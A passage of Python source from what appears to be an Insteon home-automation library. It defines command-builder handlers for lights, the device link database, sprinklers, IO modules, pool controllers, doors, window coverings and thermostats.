@topic_to_command_handler(register_list=topic_register, topic=POKE_ONE_BYTE_INTERNAL)
def poke_one_byte_internal(address: Address, byte_to_write: int, topic=pub.AUTO_TOPIC):
"""Create a POKE_ONE_BYTE_INTERNAL command."""
_create_direct_message(topic=topic, address=address, cmd2=byte_to_write)
@topic_to_command_handler(register_list=topic_register, topic=ON_AT_RAMP_RATE)
def on_at_ramp_rate(
address: Address, on_level: int, ramp_rate: RampRate, topic=pub.AUTO_TOPIC
):
"""Create a ON_AT_RAMP_RATE command."""
on_level = min(0x10, on_level & 0xF0)
ramp_rate = ceil(int(ramp_rate) / 2) + 1 & 0x0F
cmd2 = on_level + ramp_rate
_create_direct_message(topic=topic, address=address, cmd2=cmd2, priority=3)
@topic_to_command_handler(register_list=topic_register, topic=EXTENDED_GET_SET)
def extended_get_set(
address: Address,
data1=0,
data2=0,
data3=0,
data4=0,
data5=0,
data6=0,
data7=0,
data8=0,
data9=0,
data10=0,
data11=0,
data12=0,
data13=0,
data14=0,
crc=False,
topic=pub.AUTO_TOPIC,
):
"""Create a EXTENDED_GET_SET command."""
data = {}
items = locals()
for index in range(1, 15):
data["d{}".format(index)] = items["data{}".format(index)]
user_data = UserData(data)
_create_direct_message(
topic=topic, address=address, cmd2=0, user_data=user_data, crc=crc
)
@topic_to_command_handler(register_list=topic_register, topic=EXTENDED_GET_SET_2)
def extended_get_set_2(
address: Address,
data1=0,
data2=0,
data3=0,
data4=0,
data5=0,
data6=0,
data7=0,
data8=0,
data9=0,
data10=0,
data11=0,
data12=0,
data13=0,
data14=0,
topic=pub.AUTO_TOPIC,
):
"""Create a EXTENDED_GET_SET_2 command."""
data = {}
items = locals()
for index in range(1, 15):
data["d{}".format(index)] = items["data{}".format(index)]
user_data = UserData(data)
_create_direct_message(
topic=topic, address=address, cmd2=0x02, user_data=user_data, crc=True
)
@topic_to_command_handler(register_list=topic_register, topic=OFF_AT_RAMP_RATE)
def off_at_ramp_rate(
address: Address, on_level: int, ramp_rate: RampRate, topic=pub.AUTO_TOPIC
):
"""Create a OFF_AT_RAMP_RATE command."""
on_level = min(0x10, on_level & 0xF0)
ramp_rate = ceil(int(ramp_rate) / 2) + 1 & 0x0F
cmd2 = on_level + ramp_rate
_create_direct_message(topic=topic, address=address, cmd2=cmd2, priority=3)
def _read_aldb(address, mem_addr, num_recs, topic):
# num_recs = 0 if mem_addr == 0x0000 else 1
mem_hi = mem_addr >> 8
mem_lo = mem_addr & 0xFF
user_data = UserData(
{"d1": 0x00, "d2": 0x00, "d3": mem_hi, "d4": mem_lo, "d5": num_recs}
)
_create_direct_message(topic=topic, address=address, cmd2=0, user_data=user_data)
def _write_aldb(
address,
mem_addr,
controller,
group,
target,
data1,
data2,
data3,
in_use,
high_water_mark,
bit5,
bit4,
topic,
):
address = Address(address)
target = Address(target)
mem_hi = mem_addr >> 8
mem_lo = mem_addr & 0xFF
flags = create(
in_use=in_use, controller=controller, hwm=high_water_mark, bit5=bit5, bit4=bit4
)
user_data = UserData(
{
"d2": 0x02,
"d3": mem_hi,
"d4": mem_lo,
"d5": 0x08,
"d6": int(flags),
"d7": group,
"d8": target.high,
"d9": target.middle,
"d10": target.low,
"d11": data1,
"d12": data2,
"d13": data3,
}
)
_create_direct_message(topic=topic, address=address, cmd2=0, user_data=user_data)
@topic_to_command_handler(register_list=topic_register, topic=EXTENDED_READ_WRITE_ALDB)
def extended_read_write_aldb(
address: Address,
action: int,
mem_addr: int,
num_recs: int = 0,
controller: bool = True,
group: int = 0x01,
target: Address = None,
data1: int = 0x00,
data2: int = 0x00,
data3: int = 0x00,
in_use: bool = True,
high_water_mark: bool = False,
bit5: int = 0,
bit4: int = 0,
topic=pub.AUTO_TOPIC,
):
"""Create a EXTENDED_READ_WRITE_ALDB command."""
if action == 0x00:
_read_aldb(address=address, mem_addr=mem_addr, num_recs=num_recs, topic=topic)
elif action == 0x02:
_write_aldb(
address=address,
mem_addr=mem_addr,
controller=controller,
group=group,
target=target,
data1=data1,
data2=data2,
data3=data3,
in_use=in_use,
high_water_mark=high_water_mark,
bit5=bit5,
bit4=bit4,
topic=topic,
)
@topic_to_command_handler(register_list=topic_register, topic=EXTENDED_TRIGGER_ALL_LINK)
def extended_trigger_all_link(address: Address, user_data, topic=pub.AUTO_TOPIC):
"""Create a EXTENDED_TRIGGER_ALL_LINK command."""
_create_direct_message(topic=topic, address=address, cmd2=0, user_data=user_data)
@topic_to_command_handler(register_list=topic_register, topic=SET_SPRINKLER_PROGRAM)
def set_sprinkler_program(
address: Address, program: int, user_data, topic=pub.AUTO_TOPIC
):
"""Create a SET_SPRINKLER_PROGRAM command."""
_create_direct_message(
topic=topic, address=address, cmd2=program, user_data=user_data
)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_VALVE_ON)
def sprinkler_valve_on(address: Address, valve: int, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_VALVE_ON command."""
_create_direct_message(topic=topic, address=address, cmd2=valve)
@topic_to_command_handler(
register_list=topic_register, topic=SPRINKLER_GET_PROGRAM_RESPONSE
)
def sprinkler_get_program_response(
address: Address, program: int, user_data, topic=pub.AUTO_TOPIC
):
"""Create a SPRINKLER_GET_PROGRAM_RESPONSE command."""
_create_direct_message(
topic=topic, address=address, cmd2=program, user_data=user_data
)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_VALVE_OFF)
def sprinkler_valve_off(address: Address, valve: int, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_VALVE_OFF command."""
_create_direct_message(topic=topic, address=address, cmd2=valve)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_PROGRAM_ON)
def sprinkler_program_on(address: Address, program: int, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_PROGRAM_ON command."""
_create_direct_message(topic=topic, address=address, cmd2=program)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_PROGRAM_OFF)
def sprinkler_program_off(address: Address, program: int, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_PROGRAM_OFF command."""
_create_direct_message(topic=topic, address=address, cmd2=program)
@topic_to_command_handler(
register_list=topic_register, topic=SPRINKLER_LOAD_INITIALIZATION_VALUES
)
def sprinkler_load_initialization_values(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_LOAD_INITIALIZATION_VALUES command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=SPRINKLER_LOAD_EEPROM_FROM_RAM
)
def sprinkler_load_eeprom_from_ram(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_LOAD_EEPROM_FROM_RAM command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=SPRINKLER_GET_VALVE_STATUS
)
def sprinkler_get_valve_status(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_GET_VALVE_STATUS command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=SPRINKLER_INHIBIT_COMMAND_ACCEPTANCE
)
def sprinkler_inhibit_command_acceptance(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_INHIBIT_COMMAND_ACCEPTANCE command."""
user_data = UserData({"d1": 0x03})
_create_direct_message(topic=topic, address=address, cmd2=0x44, user_data=user_data)
@topic_to_command_handler(
register_list=topic_register, topic=SPRINKLER_RESUME_COMMAND_ACCEPTANCE
)
def sprinkler_resume_command_acceptance(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_RESUME_COMMAND_ACCEPTANCE command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_SKIP_FORWARD)
def sprinkler_skip_forward(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_SKIP_FORWARD command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_SKIP_BACK)
def sprinkler_skip_back(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_SKIP_BACK command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=SPRINKLER_ENABLE_PUMP_ON_V8
)
def sprinkler_enable_pump_on_v8(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_ENABLE_PUMP_ON_V8 command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=SPRINKLER_DISABLE_PUMP_ON_V8
)
def sprinkler_disable_pump_on_v8(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_DISABLE_PUMP_ON_V8 command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_BROADCAST_ON)
def sprinkler_broadcast_on(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_BROADCAST_ON command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_BROADCAST_OFF)
def sprinkler_broadcast_off(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_BROADCAST_OFF command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=SPRINKLER_LOAD_RAM_FROM_EEPROM
)
def sprinkler_load_ram_from_eeprom(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_LOAD_RAM_FROM_EEPROM command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_SENSOR_ON)
def sprinkler_sensor_on(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_SENSOR_ON command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_SENSOR_OFF)
def sprinkler_sensor_off(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_SENSOR_OFF command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_DIAGNOSTICS_ON)
def sprinkler_diagnostics_on(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_DIAGNOSTICS_ON command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=SPRINKLER_DIAGNOSTICS_OFF)
def sprinkler_diagnostics_off(address: Address, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_DIAGNOSTICS_OFF command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=SPRINKLER_GET_PROGRAM_REQUEST
)
def sprinkler_get_program_request(address: Address, program: int, topic=pub.AUTO_TOPIC):
"""Create a SPRINKLER_GET_PROGRAM_REQUEST command."""
_create_direct_message(topic=topic, address=address, cmd2=program)
@topic_to_command_handler(register_list=topic_register, topic=IO_OUTPUT_ON)
def io_output_on(address: Address, output_num: int, topic=pub.AUTO_TOPIC):
"""Create a IO_OUTPUT_ON command."""
_create_direct_message(topic=topic, address=address, cmd2=output_num)
@topic_to_command_handler(register_list=topic_register, topic=IO_OUTPUT_OFF)
def io_output_off(address: Address, output_num: int, topic=pub.AUTO_TOPIC):
"""Create a IO_OUTPUT_OFF command."""
_create_direct_message(topic=topic, address=address, cmd2=output_num)
@topic_to_command_handler(register_list=topic_register, topic=IO_ALARM_DATA_REQUEST)
def io_alarm_data_request(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_ALARM_DATA_REQUEST command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=IO_WRITE_OUTPUT_PORT)
def io_write_output_port(address: Address, value: int, topic=pub.AUTO_TOPIC):
"""Create a IO_WRITE_OUTPUT_PORT command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=IO_READ_INPUT_PORT)
def io_read_input_port(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_READ_INPUT_PORT command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=IO_GET_SENSOR_VALUE)
def io_get_sensor_value(address: Address, sensor: int, topic=pub.AUTO_TOPIC):
"""Create a IO_GET_SENSOR_VALUE command."""
_create_direct_message(topic=topic, address=address, cmd2=sensor)
@topic_to_command_handler(
register_list=topic_register, topic=IO_SET_SENSOR_1_NOMINAL_VALUE
)
def io_set_sensor_1_nominal_value(address: Address, value: int, topic=pub.AUTO_TOPIC):
"""Create a IO_SET_SENSOR_1_NOMINAL_VALUE command."""
_create_direct_message(topic=topic, address=address, cmd2=value)
@topic_to_command_handler(
register_list=topic_register, topic=IO_SET_SENSOR_NOMINAL_VALUE
)
def io_set_sensor_nominal_value(
address: Address, value: int, user_data, topic=pub.AUTO_TOPIC
):
"""Create a IO_SET_SENSOR_NOMINAL_VALUE command."""
_create_direct_message(
topic=topic, address=address, cmd2=value, user_data=user_data
)
@topic_to_command_handler(register_list=topic_register, topic=IO_GET_SENSOR_ALARM_DELTA)
def io_get_sensor_alarm_delta(
address: Address, sensor: int, delta: int, direction: int, topic=pub.AUTO_TOPIC
):
"""Create a IO_GET_SENSOR_ALARM_DELTA command."""
sensor = sensor & 0x0F
delta = delta & 0x07 << 4
direction = 8 if bool(direction) else 0
cmd2 = sensor + delta + direction
_create_direct_message(topic=topic, address=address, cmd2=cmd2)
@topic_to_command_handler(register_list=topic_register, topic=IO_ALARM_DATA_RESPONSE)
def io_alarm_data_response(address: Address, user_data, topic=pub.AUTO_TOPIC):
"""Create a IO_ALARM_DATA_RESPONSE command."""
_create_direct_message(topic=topic, address=address, user_data=user_data)
@topic_to_command_handler(
register_list=topic_register, topic=IO_WRITE_CONFIGURATION_PORT
)
def io_write_configuration_port(
address: Address,
bits_0_1: bool,
bit_2: bool,
bit_3: bool,
bit_4: bool,
bit_5: bool,
bit_6: bool,
bit_7: bool,
topic=pub.AUTO_TOPIC,
):
"""Create a IO_WRITE_CONFIGURATION_PORT command."""
cmd2 = (
bit_7
<< 7 + bit_6
<< 6 + bit_5
<< 5 + bit_4
<< 4 + bit_3
<< 3 + bit_2
<< 2 + bits_0_1
<< 0
)
_create_direct_message(topic=topic, address=address, cmd2=cmd2)
@topic_to_command_handler(
register_list=topic_register, topic=IO_READ_CONFIGURATION_PORT
)
def io_read_configuration_port(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_READ_CONFIGURATION_PORT command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=IO_MODULE_LOAD_INITIALIZATION_VALUES
)
def io_module_load_initialization_values(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_LOAD_INITIALIZATION_VALUES command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=IO_MODULE_LOAD_EEPROM_FROM_RAM
)
def io_module_load_eeprom_from_ram(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_LOAD_EEPROM_FROM_RAM command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=IO_MODULE_STATUS_REQUEST)
def io_module_status_request(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_STATUS_REQUEST command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=IO_MODULE_READ_ANALOG_ONCE
)
def io_module_read_analog_once(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_READ_ANALOG_ONCE command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=IO_MODULE_READ_ANALOG_ALWAYS
)
def io_module_read_analog_always(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_READ_ANALOG_ALWAYS command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=IO_MODULE_ENABLE_STATUS_CHANGE_MESSAGE
)
def io_module_enable_status_change_message(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_ENABLE_STATUS_CHANGE_MESSAGE command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=IO_MODULE_DISABLE_STATUS_CHANGE_MESSAGE
)
def io_module_disable_status_change_message(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_DISABLE_STATUS_CHANGE_MESSAGE command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=IO_MODULE_LOAD_RAM_FROM_EEPROM
)
def io_module_load_ram_from_eeprom(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_LOAD_RAM_FROM_EEPROM command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=IO_MODULE_SENSOR_ON)
def io_module_sensor_on(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_SENSOR_ON command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=IO_MODULE_SENSOR_OFF)
def io_module_sensor_off(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_SENSOR_OFF command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=IO_MODULE_DIAGNOSTICS_ON)
def io_module_diagnostics_on(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_DIAGNOSTICS_ON command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=IO_MODULE_DIAGNOSTICS_OFF)
def io_module_diagnostics_off(address: Address, topic=pub.AUTO_TOPIC):
"""Create a IO_MODULE_DIAGNOSTICS_OFF command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=POOL_DEVICE_ON)
def pool_device_on(address: Address, device_num: int, topic=pub.AUTO_TOPIC):
"""Create a POOL_DEVICE_ON command."""
_create_direct_message(topic=topic, address=address, cmd2=device_num)
@topic_to_command_handler(
register_list=topic_register, topic=POOL_SET_DEVICE_TEMPERATURE
)
def pool_set_device_temperature(
address: Address, device_num: int, user_data, topic=pub.AUTO_TOPIC
):
"""Create a POOL_SET_DEVICE_TEMPERATURE command."""
_create_direct_message(
topic=topic, address=address, cmd2=device_num, user_data=user_data
)
@topic_to_command_handler(register_list=topic_register, topic=POOL_DEVICE_OFF)
def pool_device_off(address: Address, device_num: int, topic=pub.AUTO_TOPIC):
"""Create a POOL_DEVICE_OFF command."""
_create_direct_message(topic=topic, address=address, cmd2=device_num)
@topic_to_command_handler(
register_list=topic_register, topic=POOL_SET_DEVICE_HYSTERESIS
)
def pool_set_device_hysteresis(
address: Address, device_num: int, user_data, topic=pub.AUTO_TOPIC
):
"""Create a POOL_SET_DEVICE_HYSTERESIS command."""
_create_direct_message(
topic=topic, address=address, cmd2=device_num, user_data=user_data
)
@topic_to_command_handler(register_list=topic_register, topic=POOL_TEMPERATURE_UP)
def pool_temperature_up(address: Address, degrees: int, topic=pub.AUTO_TOPIC):
"""Create a POOL_TEMPERATURE_UP command."""
cmd2 = degrees * 2
_create_direct_message(topic=topic, address=address, cmd2=cmd2)
@topic_to_command_handler(register_list=topic_register, topic=POOL_TEMPERATURE_DOWN)
def pool_temperature_down(address: Address, degrees: int, topic=pub.AUTO_TOPIC):
"""Create a POOL_TEMPERATURE_DOWN command."""
cmd2 = degrees * 2
_create_direct_message(topic=topic, address=address, cmd2=cmd2)
@topic_to_command_handler(
register_list=topic_register, topic=POOL_LOAD_INITIALIZATION_VALUES
)
def pool_load_initialization_values(address: Address, topic=pub.AUTO_TOPIC):
"""Create a POOL_LOAD_INITIALIZATION_VALUES command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=POOL_LOAD_EEPROM_FROM_RAM)
def pool_load_eeprom_from_ram(address: Address, topic=pub.AUTO_TOPIC):
"""Create a POOL_LOAD_EEPROM_FROM_RAM command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=POOL_GET_POOL_MODE)
def pool_get_pool_mode(address: Address, topic=pub.AUTO_TOPIC):
"""Create a POOL_GET_POOL_MODE command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=POOL_GET_AMBIENT_TEMPERATURE
)
def pool_get_ambient_temperature(address: Address, topic=pub.AUTO_TOPIC):
"""Create a POOL_GET_AMBIENT_TEMPERATURE command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=POOL_GET_WATER_TEMPERATURE
)
def pool_get_water_temperature(address: Address, topic=pub.AUTO_TOPIC):
"""Create a POOL_GET_WATER_TEMPERATURE command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=POOL_GET_PH)
def pool_get_ph(address: Address, topic=pub.AUTO_TOPIC):
"""Create a POOL_GET_PH command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=DOOR_MOVE_RAISE_DOOR)
def door_move_raise_door(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_MOVE_RAISE_DOOR command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=DOOR_MOVE_LOWER_DOOR)
def door_move_lower_door(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_MOVE_LOWER_DOOR command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=DOOR_MOVE_OPEN_DOOR)
def door_move_open_door(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_MOVE_OPEN_DOOR command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=DOOR_MOVE_CLOSE_DOOR)
def door_move_close_door(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_MOVE_CLOSE_DOOR command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=DOOR_MOVE_STOP_DOOR)
def door_move_stop_door(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_MOVE_STOP_DOOR command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=DOOR_MOVE_SINGLE_DOOR_OPEN
)
def door_move_single_door_open(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_MOVE_SINGLE_DOOR_OPEN command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=DOOR_MOVE_SINGLE_DOOR_CLOSE
)
def door_move_single_door_close(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_MOVE_SINGLE_DOOR_CLOSE command."""
user_data = UserData({"d1": 0x06})
_create_direct_message(topic=topic, address=address, cmd2=0x58, user_data=user_data)
@topic_to_command_handler(
register_list=topic_register, topic=DOOR_STATUS_REPORT_RAISE_DOOR
)
def door_status_report_raise_door(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_STATUS_REPORT_RAISE_DOOR command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=DOOR_STATUS_REPORT_LOWER_DOOR
)
def door_status_reportlower_door(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_STATUS_REPORT_LOWER_DOOR command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=DOOR_STATUS_REPORT_OPEN_DOOR
)
def door_status_report_open_door(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_STATUS_REPORT_OPEN_DOOR command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=DOOR_STATUS_REPORT_CLOSE_DOOR
)
def door_status_report_close_door(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_STATUS_REPORT_CLOSE_DOOR command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=DOOR_STATUS_REPORT_STOP_DOOR
)
def door_status_report_stop_door(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_STATUS_REPORT_STOP_DOOR command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=DOOR_STATUS_REPORT_SINGLE_DOOR_OPEN
)
def door_status_report_single_door_open(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_STATUS_REPORT_SINGLE_DOOR_OPEN command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=DOOR_STATUS_REPORT_SINGLE_DOOR_CLOSE
)
def door_status_report_single_door_close(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DOOR_STATUS_REPORT_SINGLE_DOOR_CLOSE command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=WINDOW_COVERING_OPEN)
def window_covering_open(address: Address, topic=pub.AUTO_TOPIC):
"""Create a WINDOW_COVERING_OPEN command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=WINDOW_COVERING_CLOSE)
def window_covering_close(address: Address, topic=pub.AUTO_TOPIC):
"""Create a WINDOW_COVERING_CLOSE command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=WINDOW_COVERING_STOP)
def window_covering_stop(address: Address, topic=pub.AUTO_TOPIC):
"""Create a WINDOW_COVERING_STOP command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=WINDOW_COVERING_PROGRAM)
def window_covering_program(address: Address, topic=pub.AUTO_TOPIC):
"""Create a WINDOW_COVERING_PROGRAM command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=WINDOW_COVERING_POSITION)
def window_covering_position(address: Address, position: int, topic=pub.AUTO_TOPIC):
"""Create a WINDOW_COVERING_POSITION command."""
_create_direct_message(topic=topic, address=address, cmd2=position)
@topic_to_command_handler(register_list=topic_register, topic=THERMOSTAT_TEMPERATURE_UP)
def thermostat_temperature_up(address: Address, degrees: int, topic=pub.AUTO_TOPIC):
"""Create a THERMOSTAT_TEMPERATURE_UP command."""
cmd2 = int(round(degrees * 2, 0))
_create_direct_message(topic=topic, address=address, cmd2=cmd2)
@topic_to_command_handler(
register_list=topic_register, topic=THERMOSTAT_ZONE_TEMPERATURE_UP
)
def thermostat_zone_temperature_up(
address: Address, zone: int, user_data, topic=pub.AUTO_TOPIC
):
"""Create a THERMOSTAT_ZONE_TEMPERATURE_UP command."""
_create_direct_message(topic=topic, address=address, cmd2=zone, user_data=user_data)
@topic_to_command_handler(
register_list=topic_register, topic=THERMOSTAT_TEMPERATURE_DOWN
)
def thermostat_temperature_down(address: Address, degrees: int, topic=pub.AUTO_TOPIC):
"""Create a THERMOSTAT_TEMPERATURE_DOWN command."""
cmd2 = int(round(degrees * 2, 0))
_create_direct_message(topic=topic, address=address, cmd2=cmd2)
@topic_to_command_handler(
register_list=topic_register, topic=THERMOSTAT_ZONE_TEMPERATURE_DOWN
)
def thermostat_zone_temperature_down(
address: Address, zone: int, user_data, topic=pub.AUTO_TOPIC
):
"""Create a THERMOSTAT_ZONE_TEMPERATURE_DOWN command."""
_create_direct_message(topic=topic, address=address, cmd2=zone, user_data=user_data)
@topic_to_command_handler(
register_list=topic_register, topic=THERMOSTAT_GET_ZONE_INFORMATION
)
def thermostat_get_zone_information(
address: Address, zone: int, info: int, topic=pub.AUTO_TOPIC
):
"""Create a THERMOSTAT_GET_ZONE_INFORMATION command.
zone: (int) 0 to 31
info: (int)
0 = Temperature
1 = Setpoint
2 = Deadband
3 = Humidity
"""
zone = zone & 0x0F
info = info & 0x03 << 5
cmd2 = info + zone
_create_direct_message(topic=topic, address=address, cmd2=cmd2)
@topic_to_command_handler(register_list=topic_register, topic=THERMOSTAT_CONTROL)
def thermostat_control(address: Address, mode: int, topic=pub.AUTO_TOPIC):
"""Create a THERMOSTAT_CONTROL command."""
user_data = UserData()
_create_direct_message(
topic=topic, address=address, cmd2=int(mode), user_data=user_data
)
@topic_to_command_handler(
register_list=topic_register, topic=THERMOSTAT_SET_COOL_SETPOINT
)
def thermostat_set_cool_setpoint(address: Address, degrees: int, topic=pub.AUTO_TOPIC):
"""Create a THERMOSTAT_SET_COOL_SETPOINT command."""
cmd2 = int(degrees * 2)
user_data = UserData()
_create_direct_message(topic=topic, address=address, cmd2=cmd2, user_data=user_data)
@topic_to_command_handler(
register_list=topic_register, topic=THERMOSTAT_SET_ZONE_COOL_SETPOINT
)
def thermostat_set_zone_cool_setpoint(
address: Address, zone: int, user_data, topic=pub.AUTO_TOPIC
):
"""Create a THERMOSTAT_SET_ZONE_COOL_SETPOINT command."""
_create_direct_message(topic=topic, address=address, cmd2=zone, user_data=user_data)
@topic_to_command_handler(
register_list=topic_register, topic=THERMOSTAT_SET_HEAT_SETPOINT
)
def thermostat_set_heat_setpoint(address: Address, degrees: int, topic=pub.AUTO_TOPIC):
"""Create a THERMOSTAT_SET_HEAT_SETPOINT command."""
cmd2 = int(degrees * 2)
user_data = UserData()
_create_direct_message(topic=topic, address=address, cmd2=cmd2, user_data=user_data)
@topic_to_command_handler(
register_list=topic_register, topic=THERMOSTAT_SET_ZONE_HEAT_SETPOINT
)
def thermostat_set_zone_heat_setpoint(
address: Address, zone: int, user_data, topic=pub.AUTO_TOPIC
):
"""Create a THERMOSTAT_SET_ZONE_HEAT_SETPOINT command."""
_create_direct_message(topic=topic, address=address, cmd2=zone, user_data=user_data)
@topic_to_command_handler(register_list=topic_register, topic=ASSIGN_TO_COMPANION_GROUP)
def assign_to_companion_group(address: Address, topic=pub.AUTO_TOPIC):
"""Create a ASSIGN_TO_COMPANION_GROUP command."""
_create_direct_message(topic=topic, address=address)
| 35.864844
| 88
